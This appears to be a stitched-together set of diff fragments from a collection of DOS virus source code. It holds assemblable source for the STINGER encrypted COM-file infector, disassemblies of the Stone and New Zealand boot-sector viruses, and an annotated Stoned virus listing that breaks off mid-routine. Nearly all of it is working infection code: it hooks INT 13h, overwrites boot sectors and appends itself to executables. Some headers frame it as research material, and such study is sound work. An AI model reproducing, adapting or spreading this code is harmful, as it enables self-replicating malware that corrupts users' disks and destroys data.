REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
END START
@@ -0,0 +1,436 @@
;************************************
;************** STINGER *************
;******** (c) 1996 by [TAVC] ********
;********** -=* RedArc *=- **********
;************************************
Model tiny
.code
.386
kode_crypt equ 0
ORG 100h
START:
pusha
push ds
push es
push cs
pop ds
push cs
pop es
push di
mov di,offset VIRUS
ret
IDENT db 0ah,0dh,'STINGER',0ah,0dh,'$'
START_LEN equ $-START
int 20h
VIRUS:
jmp Ok_1
Ok_0:
mov ax,1010h
out 70h,ax
mov al,0feh
out 64h,al
Flag_Ofs equ $-VIRUS
Flag db 0
;---------------------
LOC_2_ equ $-VIRUS
LOC_2:
pop ax
pop cx
inc ax
xchg ax,cx
push cx
push ax
mov ax,LOC_3_
mov cx, bp
xchg ax,cx
add cx,ax
push cx
db 2eh
pushf
pop ax
sahf
jnb L_2_1
mov ax,1010h
out 70h,ax
mov al,0feh
out 64h,al
L_2_1:
ret
;------------------------
HAND_OFS equ $-VIRUS
Handle dw ?
Write_To_File:
mov word ptr [bp+HAND_OFS],bx
mov byte ptr [bp+Flag_Ofs],1
jmp DECRYPT
My_Loc_1:
mov byte ptr [bp+Flag_Ofs],0
mov dx,bp
mov cx,VIRLEN
mov bx,word ptr [bp+HAND_OFS]
mov ah,40h
int 21h
mov byte ptr [bp+Flag_Ofs],2
jmp DECRYPT
;------------------------
Ok_1:
call VIR_BEG
VIR_BEG_LEN equ $-VIRUS
VIR_BEG:
cli
mov al,0adh
out 64h,al
jmp short $+2
pop bp
sti
sub bp,VIR_BEG_LEN
DECRYPT:
Code_Ofs equ $-VIRUS
mov ax, kode_crypt
xor cx,cx
cmp ax,cx
jne DC_0
mov ax, DC_3_
add ax,bp
push ax
ret
;------------------------------------
LOC_4_ equ $-VIRUS
LOC_4:
db 2eh
pushf
pop ax
sahf
jnb LOC_4_1
mov ax,1010h
out 70h,ax
mov al,0feh
out 64h,al
LOC_4_1:
ret
;------------------------
DC_0:
mov di, CRYPT_END
add di,bp
push ax
mov ax, bp
add ax, M_L_1_
push ax
mov ax, LOC_4_
add ax, bp
push ax
ret
M_L_1_ equ $-VIRUS
M_L_1:
pop ax
mov si, CRYPT_START
add si,bp
DC_1:
DC_1_ equ $-VIRUS
mov bx, word ptr cs:[si]
push bp
mov dx, word ptr cs:[si+2]
xchg cx,dx
push si
xchg bx,dx
mov si,di
xor cx,ax
pop di
xchg cx,ax
push si
xchg ax,bx
mov si,di
xchg cx,dx
pop bp
xchg ax,dx
xchg si,bp
xchg bx,dx
mov di,si
xor cx,ax
xchg bp,si
xchg cx,ax
sub bp,di
xchg bx,dx
add bp,si
xchg dx,cx
xchg bp,si
xchg ax,dx
xor bp,si
xchg dx,bx
add bp,di
mov cl,4
xchg bp,di
mov word ptr cs:[si],bx
pop bp
call LOC_1
mov word ptr cs:[si+2],dx
DC_2:
inc si
loop DC_2
cmp si,di
jge DC_3
mov dx, DC_1_
mov cx, bp
DC_4:
inc dx
loop DC_4
push dx
ret
;------------------------
LOC_1:
push cx
push ax
mov ax,bp
mov cx,LOC_2_
L_1:
inc ax
loop L_1
push ax
ret
;------------------------
LOC_3_ equ $-VIRUS
LOC_3:
pop cx
mov ax,bp
add ax,LOC_3_1_
push ax
mov ax,bp
add ax,LOC_4_
push ax
ret
LOC_3_1_ equ $-VIRUS
LOC_3_1:
pop ax
xor ch,ch
jmp LOC_4_1
;------------------------
DC_3:
DC_3_ equ $-VIRUS
push ax
mov ah, byte ptr [bp+Flag_Ofs]
cmp ah,1
pop ax
jnz My_Loc_2
jmp My_Loc_1
CRYPT_START equ $-VIRUS
;********************************************************
My_Loc_2:
mov ah, byte ptr [bp+Flag_Ofs]
cmp ah,2
jnz My_Loc_3
ret
My_Loc_3:
cli
mov al,0aeh
out 64h,al
jmp short $+2
sti
;-------------------------------------------------------
Restore_Beg:
mov si,P_B_Ofs
mov di,100h
add si,bp
mov cx,START_LEN
rep movsb
SET_DTA_VIRII:
mov ah,1ah
mov dx,bp
add dx,VIRLEN
push dx
int 21h
pop si
FIND_FIRST:
mov dx,bp
add dx,C_M_Ofs
cld
mov ah,4eh
mov cx,0ffh
INTERRUPT:
int 21h
jb Not_File
call Infected
mov ah,4fh
jmp short INTERRUPT
Not_File:
call Command_Com
mov ah,1ah
mov dx,80h
int 21h
;---------------------
RETURN_TO_PROG:
pop es
pop ds
popa
jmp si
;---------------------
Infected:
mov dx, si
add dx,1eh
push dx
Clear_Attrib:
mov ax,4301h
xor cx,cx
int 21h
Open_File:
mov ax, 3d02h
int 21h
jb NextFind
Save_Handle:
xchg ax,bx
Read_Beg:
mov ah,3fh
mov dx,bp
add dx,P_B_Ofs
mov cx,START_LEN
int 21h
Check_Ident:
push si
mov si,bp
mov di,si
add si,New_Begin
add di,P_B_Ofs
add si,IDENT_Ofs
add di,IDENT_Ofs
mov cx,12
rep cmpsb
pop si
je Close_File
jmp short Plague
Close_File:
mov ax,5701h
mov dx, word ptr [si+18h]
mov cx, word ptr [si+16h]
int 21h
mov ah,3eh
int 21h
mov ax,4301h
pop dx
mov cx,word ptr [si+15h]
int 21h
ret
NextFind:
pop dx
ret
Plague:
mov ax,4202h
xor cx,cx
xor dx,dx
push cx
push cx
int 21h
mov word ptr [bp+OldLen],ax
call New_Code
pusha
call Write_To_File
Ret_From_Write:
popa
mov ax,4200h
pop cx
pop dx
int 21h
Calculate_New_Entry_Point:
mov di,bp
add di,New_Adr_Jump
inc di
mov ax, word ptr [bp+OldLen]
add ax, 100h
mov word ptr [di],ax
WRITE_New_Beg:
mov ah,40h
mov cx,START_LEN
mov dx,bp
add dx,New_Begin
int 21h
jmp Close_File
;---------------------
Command_Com:
push ds
mov di,bp
mov si,2ch
mov ds,cs:[si]
mov si,0008
add di, VIRLEN
add di,2ch
mov cx,0040h
rep movsb
sub di,40h
pop ds
mov dx,di
mov ah,4eh
mov cx,0ffh
int 21h
mov di,bp
jb EXITER
mov ah,2fh
int 21h
mov bx,di
add bx,VIRLEN
add bx,0eh
xchg bx,si
call INFECTED
EXITER:
ret
;---------------------
New_Code:
push ax
push bx
push cx
push di
mov ax, word ptr [si+1ah]
mov bx, word ptr [si+18h]
mov cx, word ptr [si+16h]
xor bx,cx
cmp bx,cx
jnz N_C_1
jmp Ok_0_My
N_C_1:
xor ax,bx
mov di,bp
add di,Code_Ofs
mov word ptr [di+1],ax
pop di
pop cx
pop bx
pop ax
ret
Ok_0_My:
mov ah, 09h
mov dx,bp
add dx,IDENT_Ofs
int 21h
jmp Ok_0
;---------------------
P_B_Ofs equ $-VIRUS
PROGRAM_BEG db START_LEN dup (90h)
C_M_Ofs equ $-VIRUS
COM_MASK db '*.COM',0h
E_M_Ofs equ $-VIRUS
OldLen equ $-VIRUS
dw ?
My_START:
New_Begin equ $-VIRUS
pusha
push ds
New_Adr_Jump equ $-VIRUS
mov di,offset VIRUS
push es
push cs
pop ds
push di
push cs
pop es
ret
IDENT_Ofs equ $-My_Start
db 0ah,0dh,'STINGER',0ah,0dh,'$'
;********************************************************
CRYPT_END equ $-VIRUS
VIRLEN equ $-VIRUS
END START
+247
View File
@@ -0,0 +1,247 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ STONE ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
d_0000_004C_e equ 4Ch
d_0000_004E_e equ 4Eh
main_ram_size_ equ 413h
timer_low_ equ 46Ch
d_0000_7C00_e equ 7C00h ;*
d_0000_7C0A_e equ 7C0Ah ;*
d_0000_7C0C_e equ 7C0Ch ;*
d_0000_7C10_e equ 7C10h ;*
data_0000_e equ 0
data_0008_e equ 8
data_0009_e equ 9
data_000A_e equ 0Ah
data_000E_e equ 0Eh
data_0012_e equ 12h
data_03E0_e equ 3E0h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
stone proc far
start:
;* jmp far ptr l_07C0_0005 ;*
db 0EAh, 05h, 00h,0C0h, 07h
jmp loc_01C1
db 00h, 00h, 00h, 00h, 00h, 00h
db 04h, 01h, 00h, 00h, 00h, 7Ch
db 00h, 00h, 1Eh, 50h, 80h,0FCh
db 02h, 72h, 18h, 80h,0FCh, 04h
db 73h, 13h, 80h,0FAh, 00h, 75h
db 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h
db 40h, 04h, 0Ah,0C0h, 75h, 03h
db 0E8h, 07h, 00h
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
db 00h
db 53h, 51h, 52h, 06h, 56h, 57h
db 0BEh, 04h, 00h
loc_0145:
mov ax,201h
push cs
pop es
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr cs:data_000A_e
jnc loc_0168 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr cs:data_000A_e
dec si
jnz loc_0145 ; Jump if not zero
jmp short loc_01A5
db 90h
loc_0168:
xor si,si ; Zero register
mov di,200h
mov ax,es:[si]
cmp ax,es:[di]
jne loc_0182 ; Jump if not equal
mov ax,es:[si+2]
cmp ax,es:[di+2]
jne loc_0182 ; Jump if not equal
jmp short loc_01A5
db 90h
loc_0182:
mov ax,301h
mov bx,200h
mov cx,3
mov dx,100h
pushf ; Push flags
call dword ptr cs:data_000A_e
jc loc_01A5 ; Jump if carry Set
mov ax,301h
xor bx,bx ; Zero register
mov cl,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr cs:data_000A_e
loc_01A5:
pop di
pop si
pop es
pop dx
pop cx
pop bx
retn
stone endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_01AC proc near
loc_01AC:
mov al,cs:[bx]
inc bx
cmp al,0
jne loc_01B5 ; Jump if not equal
retn
loc_01B5:
push ax
push bx
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
pop bx
pop ax
jmp short loc_01AC
sub_01AC endp
loc_01C1:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov sp,7C00h
sti ; Enable interrupts
mov ax,ds:d_0000_004C_e
mov ds:d_0000_7C0A_e,ax
mov ax,ds:d_0000_004E_e
mov ds:d_0000_7C0C_e,ax
mov ax,ds:main_ram_size_
dec ax
dec ax
mov ds:main_ram_size_,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:d_0000_7C10_e,ax
mov ax,16h
mov ds:d_0000_004C_e,ax
mov ds:d_0000_004E_e,es
mov cx,1E0h
push cs
pop ds
xor si,si ; Zero register
mov di,si
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
jmp dword ptr cs:data_000E_e
mov ax,0
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
xor ax,ax ; Zero register
mov es,ax
mov ax,201h
mov bx,d_0000_7C00_e
cmp byte ptr cs:data_0008_e,0
je loc_0226 ; Jump if equal
mov cx,2
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0266
db 90h
loc_0226:
mov cx,3
mov dx,100h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0266 ; Jump if carry Set
test byte ptr es:timer_low_,7
jnz loc_023E ; Jump if not zero
mov bx,1B2h
call sub_01AC
loc_023E:
push cs
pop es
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0266 ; Jump if carry Set
push cs
pop ds
mov si,200h
mov di,data_0000_e
mov ax,[si]
cmp ax,[di]
jne loc_0277 ; Jump if not equal
mov ax,[si+2]
cmp ax,[di+2]
jne loc_0277 ; Jump if not equal
loc_0266:
mov byte ptr cs:data_0008_e,0
mov byte ptr cs:data_0009_e,0
jmp dword ptr cs:data_0012_e
loc_0277:
mov byte ptr cs:data_0008_e,2
mov byte ptr cs:data_0009_e,0
mov ax,301h
mov bx,200h
mov cx,2
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0266 ; Jump if carry Set
push cs
pop ds
push cs
pop es
mov si,data_03E0_e
mov di,1E0h
mov cx,0FDE0h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
mov bx,data_0000_e
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0266
db 7
db 'I am Andrew Dice Clay!'
db 07h, 0Dh, 0Ah, 0Ah, 00h
db 'So, BLOW ME....Hey!'
seg_a ends
end start
+283
View File
@@ -0,0 +1,283 @@
;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; : :
; : The 'New Zealand' Virus :
; : Disassembled by Joe Hirst, November 1988 :
; : :
; : Copyright (c) Joe Hirst 1988, 1989. :
; : :
; : This listing is only to be made available to virus researchers :
; : or software writers on a need-to-know basis. :
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
; The virus consists of a boot sector only. The original boot sector
; is kept at track zero, head one, sector three on a floppy disk, or
; track zero, head zero, sector two on a hard disk.
; The disassembly has been tested by re-assembly using MASM 5.0.
; The program requires an origin address of 7C00H, as it is designed
; to load and run as a boot sector.
RAM SEGMENT AT 0
; System data
ORG 4CH
BW004C DW ? ; Interrupt 19 (13H) offset
BW004E DW ? ; Interrupt 19 (13H) segment
ORG 413H
BW0413 DW ? ; Total RAM size
ORG 440H
BB0440 DB ? ; Motor timeout counter
ORG 46CH
BB046C DB ? ; System clock
ORG 7C0AH
I13_OF DW ?
I13_SG DW ?
HICOOF DW ?
HICOSG DW ? ; High core segment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START: DB 0EAH ; Far jump to next byte
DW BP0010, 07C0H
BP0010: JMP BP0110
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
DUMMY DB 0
; Original Int 13H address
INT_13 EQU THIS DWORD
DW 0
DW 0
; Branch address in high core
HIGHCO EQU THIS DWORD
DW BP0120
DW 0
; Boot sector processing address
BOOTST EQU THIS DWORD
DW 07C00H
DW 0
; Interrupt 13H disk I/O routine
BP0020: PUSH DS
PUSH AX
CMP AH,2 ; Sub-function 2
JB BP0030 ; Pass on if below
CMP AH,4 ; Sub-function 4
JNB BP0030 ; Pass on if not below
CMP DL,0 ; Is drive A
JNE BP0030 ; Pass on if not
XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
MOV AL,BB0440 ; Get motor timeout counter
OR AL,AL ; Test for zero
JNE BP0030 ; Branch if not
CALL BP0040 ; Call infection routine
BP0030: POP AX
POP DS
JMP INT_13 ; Pass control to Int 13H
; Infection routine
BP0040: PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; Retry count
BP0050: MOV AX,201H ; Read one sector
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV BX,200H ; Boot sector buffer
MOV CX,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JNB BP0060 ; Branch if no error
XOR AX,AX ; Reset disk sub-system
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
DEC SI ; Decrement retry count
JNE BP0050 ; Retry
JMP BP0080 ; No more retries
BP0060: XOR SI,SI ; Start of program
MOV DI,200H ; Boot sector buffer
MOV AX,ES:[SI] ; Get first word
CMP AX,ES:[DI] ; Test if same
JNE BP0070 ; Install if not
MOV AX,ES:[SI+2] ; Get second word
CMP AX,ES:[DI+2] ; Test if same
JNE BP0070 ; Install if not
JMP BP0080 ; Pass on
BP0070: MOV AX,301H ; Write one sector
MOV BX,200H ; Boot sector buffer
MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Head 1, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JB BP0080 ; Branch if error
MOV AX,301H ; Write one sector
XOR BX,BX ; This sector
MOV CL,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
BP0080: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
; Display message
BP0090: MOV AL,CS:[BX] ; Get next message byte
INC BX ; Update pointer
CMP AL,0 ; Test for end of message
JNE BP0100 ; Branch to display
RET
BP0100: PUSH AX
PUSH BX
MOV AH,0EH ; Write TTY mode
MOV BH,0
INT 10H ; VDU I/O
POP BX
POP AX
JMP SHORT BP0090 ; Process next byte
; Install in high core
BP0110: XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
CLI
MOV SS,AX ; \ Set stack to boot sector area
MOV SP,7C00H ; /
STI
MOV AX,BW004C ; Get Int 13H offset
MOV I13_OF,AX ; Store in jump offset
MOV AX,BW004E ; Get Int 13H segment
MOV I13_SG,AX ; Store in jump segment
MOV AX,BW0413 ; Get total RAM size
DEC AX ; \ Subtract 2k
DEC AX ; /
MOV BW0413,AX ; Replace total RAM size
MOV CL,6 ; Bits to move
SHL AX,CL ; Convert to Segment
MOV ES,AX ; Set ES to segment
MOV HICOSG,AX ; Move segment to jump address
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
MOV BW004C,AX ; Set new Int 13H offset
MOV BW004E,ES ; Set new Int 13H segment
MOV CX,OFFSET ENDADR ; Load length of program
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR SI,SI ; \ Set pointers to zero
MOV DI,SI ; /
CLD
REPZ MOVSB ; Copy program to high core
JMP HIGHCO ; Branch to next instruc in high core
; Continue processing in high core
BP0120: MOV AX,0 ; Reset disk sub-system
INT 13H ; Disk I/O
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
ASSUME DS:NOTHING,ES:RAM
MOV AX,201H ; Read one sector
MOV BX,7C00H ; Boot sector buffer address
CMP DRIVEN,0 ; Test drive is A
JE BP0130 ; Branch if yes
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
; Floppy disk
BP0130: MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Side one, drive A
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
TEST BB046C,7 ; Test low byte of time
JNZ BP0140 ; Branch if not 7
MOV BX,OFFSET MESSAGE ; Load message address
CALL BP0090 ; Display message
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,201H ; Read one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,200H ; C-disk boot sector buffer
MOV DI,0 ; Start of program
MOV AX,[SI] ; Get first word
CMP AX,[DI] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
MOV AX,[SI+2] ; Get second word
CMP AX,[DI+2] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
BP0150: MOV DRIVEN,0 ; Drive A
MOV DUMMY,0
JMP BOOTST ; Pass control to boot sector
; Install on C-disk
BP0160: MOV DRIVEN,2 ; Drive C
MOV DUMMY,0
MOV AX,301H ; Write one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV SI,OFFSET ENDADR+200H ; Target offset
MOV DI,OFFSET ENDADR ; Source offset
MOV CX,OFFSET ENDADR-400H ; Length to move
REPZ MOVSB ; Copy C-disk boot sector
MOV AX,301H ; Write one sector
MOV BX,0 ; Write this sector
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP SHORT BP0150 ; Pass control to boot sector
MESSAGE DB 7, 'Old DICKs don't work!', 7, 0DH, 0AH, 0AH, 0
DB 'Neither does your computer'
ENDADR EQU $-1
CODE ENDS
END START
@@ -0,0 +1,533 @@
TITLE STONBOOT 1-4-80 [5-12-90]
PAGE 27,132
;*****************************************************************************
;
; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus
;
; This file is for the purpose of virus study only! It should not be passed
; around among the general public. It will be very useful for learning
; how viruses work and propagate. But anybody with access to an assembler
; can turn it into a working virus and anybody with a bit of assembly coding
; experience can turn it into a far more malevolent program than it already
; is. Keep this code in reasonable hands!
;
; This is a boot sector virus, and an extremely tiny one. It occupies only a
; single sector. On a diskette, it resides in the boot sector, and on a hard
; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
; diskette by copying the real boot sector to side 1, track 0, sector 3. This
; is the last sector used by the directory, and is usually not used. If the
; directory ever does expand into this area, then the real boot sector will be
; trashed, and the diskette will no longer be bootable. Once the boot sector
; is copied to the directory area, this code goes into the boot sector space
; at side 0, track 0, sector 1. The system is then transferred to the diskette
; and the diskette contains an activated virus. Once this diskette is used to
; boot up a system, it will become resident and infect other diskettes it
; sees. If the system contains a hard drive, it too will become infected.
;
; This virus does not contain any time bomb, but it can cause loss of data by
; wrecking a directory here or there.
;*****************************************************************************
LF EQU 0AH
CR EQU 0DH
XSEG SEGMENT AT 07C0h
ORG 5
NEWSEG LABEL FAR
XSEG ENDS
CODE SEGMENT
ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
ORG 0
;*****************************************************************************
; Execution begins here as a boot record. This means that its location and
; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
; a change in CS:IP so that CS is 07C0. The following two JMPs, and the
; segment definition of XSEG above are best not tampered with.
;*****************************************************************************
JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it
;The above line will jump to here, with a CS of 07C0 and an IP of 5
JMP JPBOOT ;Jump here at boot up time
;*****************************************************************************
; The following offsets:
; D_TYPE
; O_13_O
; O_13_S
; J_AD_O
; J_AD_S
; BT_ADD
; will be used to access their corresponding variables throughout the code.
; They will vary in different parts of the code, since the code relocates
; itself and the values in the segment registers will change. The actual
; variables are defined with a leading underscore, and should not be used. As
; the segment registers, and the offsets used to access them, change in the
; code, the offsets will be redefined with "=" operators. At each point, the
; particular segment register override needed to access the variables will be
; given.
;
; In this area, the variables should be accessed with the CS: segment override.
;******************************************************************************
D_TYPE = $ ;The type of disk we are booting from
_D_TYPE DB 0
OLD_13 EQU $
O_13_O = $ ;Old INT 13 vector offset
_O_13_O DW ?
O_13_S = $ ;Old INT 13 vector segment
_O_13_S DW ?
JMP_ADR EQU $
J_AD_O = $ ;Offset of the jump to relocated code
_J_AD_O DW OFFSET HI_JMP
J_AD_S = $ ;Segment of the jump to the relocated code
_J_AD_S DW ?
BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector
_BT_ADD DW 7C00h ;Boot address segment
DW 0000h ;Boot address offset
;**********************************************************
; The INT 13H vector gets hooked to here
;**********************************************************
NEW_13: PUSH DS
PUSH AX
CMP AH,2
JB REAL13 ;Restore regs & do real INT 13H
CMP AH,4
JNB REAL13 ;Restore regs & do real INT 13H
;*****************************************************************
; We only get here for service 2 or 3 - Disk read or write
;*****************************************************************
OR DL,DL
JNZ REAL13 ;Restore regs & do real INT 13H
;*****************************************************************
; And we only get here if it's happening to drive A:
;*****************************************************************
XOR AX,AX
MOV DS,AX
MOV AL,DS:43FH
TEST AL,1 ;Check to see if drive motor is on
JNZ REAL13 ;Restore regs & do real INT 13H
;******************************************************************
; We only get here if the drive motor is on.
;******************************************************************
CALL INFECT ;Try to infect the disk
;******************************************************************
; Restore regs & do real INT 13H
;******************************************************************
REAL13: POP AX
POP DS
JMP DWORD PTR CS:OLD_13
;**************************************************************
;*** See if we can infect the disk ***
;**************************************************************
INFECT PROC NEAR
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ;We'll try up to 4 times to read it
;***************************************************************
; Loop to try reading disk sector
;***************************************************************
RDLOOP: MOV AX,201H ;Read one sector...
PUSH CS
POP ES
MOV BX,200H ;...into a space at the end of the code
XOR CX,CX
MOV DX,CX ;Side 0, drive A
INC CX ;Track 0, sector 1
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do the old INT 13
JNB RD_OK ;Disk read was OK
XOR AX,AX
PUSHF
CALL DWORD PTR CS:OLD_13 ;Reset disk
DEC SI ;Bump the counter
JNZ RDLOOP ;Loop to try reading disk sector
JMP SHORT QUIT ;Close up and return if all 4 tries failed
NOP
;******************************************************************************
; Here if disk read was OK. We got the boot sector. But is it already infected?
; Find out by comparing the first 4 bytes of the boot sector to the first 4
; bytes of this code. If they don't match exactly, infect the diskette.
;******************************************************************************
RD_OK: XOR SI,SI
MOV DI,200H
CLD
PUSH CS
POP DS
LODSW
CMP AX,[DI]
JNZ HIDEIT ;Hide floppy boot sector in directory
LODSW
CMP AX,[DI+2]
JZ QUIT ;Close up and return
;************************************************************
; Infect - Hide floppy boot sector in directory
;************************************************************
HIDEIT: MOV AX,301H ;Write 1 sector
MOV BX,200H ;From the space at the end of this code
MOV CL,3 ;To sector 3
MOV DH,1 ;Side 1
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do the old INT 14
JB QUIT ;Close up and return if failed
;******************************************************************
; If write was sucessful, write this code to the boot sector area
;******************************************************************
MOV AX,301H ;Write 1 sector ...
XOR BX,BX ;...of this very code...
MOV CL,1 ;...to sector 1...
XOR DX,DX ;...of Side 0, drive A
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do an old INT 13
; ***NOTE*** no test has been done for a sucessful write.
;***************************************************************
; Close up and return
;***************************************************************
QUIT: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
INFECT ENDP
;****************************************************************
;*** Jump here at boot up time
;****************************************************************
;*****************************************************************************
; Redefine the variable offsets. The code here executes in the memory area
; used by the normal boot sector. The variable offsets have an assembled
; value of the order 7Cxx. Access them here through the DS: segment override
;*****************************************************************************
D_TYPE = 07C00h + OFFSET _D_TYPE
O_13_O = 07C00h + OFFSET _O_13_O
O_13_S = 07C00h + OFFSET _O_13_S
J_AD_O = 07C00h + OFFSET _J_AD_O
J_AD_S = 07C00h + OFFSET _J_AD_S
BT_ADD = 07C00h + OFFSET _BT_ADD
JPBOOT: XOR AX,AX
MOV DS,AX ;DS = 0
;*********************************************************
; Set up a usable stack
;*********************************************************
CLI
MOV SS,AX ;SS = 0
MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00
STI
;*********************************************************
; Capture the INT 13 vector (BIOS disk I/O)
;*********************************************************
MOV AX,DS:4CH ;Offset for old INT 13 vector
MOV DS:O_13_O,AX ;Save the offset
MOV AX,DS:4EH ;Segment for old INT 13 vector
MOV DS:O_13_S,AX ;Save the segment
;*****************************************************************************
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
; stealing an odd number of K would result in an odd number shown available
; when a CHKDSK is run. This might be too obvious. Or the programmer may have
; had other plans for the memory.
;*****************************************************************************
MOV AX,DS:413H ;BIOS' internal count of available memory
DEC AX
DEC AX ;Drop it by 2K ...
MOV DS:413H,AX ;...and store it (steal it!!)
;*********************************************************
; Find the segment of the stolen memory
;*********************************************************
MOV CL,6
SHL AX,CL
MOV ES,AX
;*********************************************************
; Use the segment of the stolen memory area
;*********************************************************
MOV DS:J_AD_S,AX ;Becomes part of a JMP address
MOV AX,OFFSET NEW_13
MOV DS:4CH,AX ;Offset for new INT 13
MOV DS:4EH,ES ;Segment for new INT 13
;****************************************************************
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
;****************************************************************
MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
PUSH CS
POP DS ;DS = CS
XOR SI,SI
MOV DI,SI ;All offsets of block move areas are 0
CLD
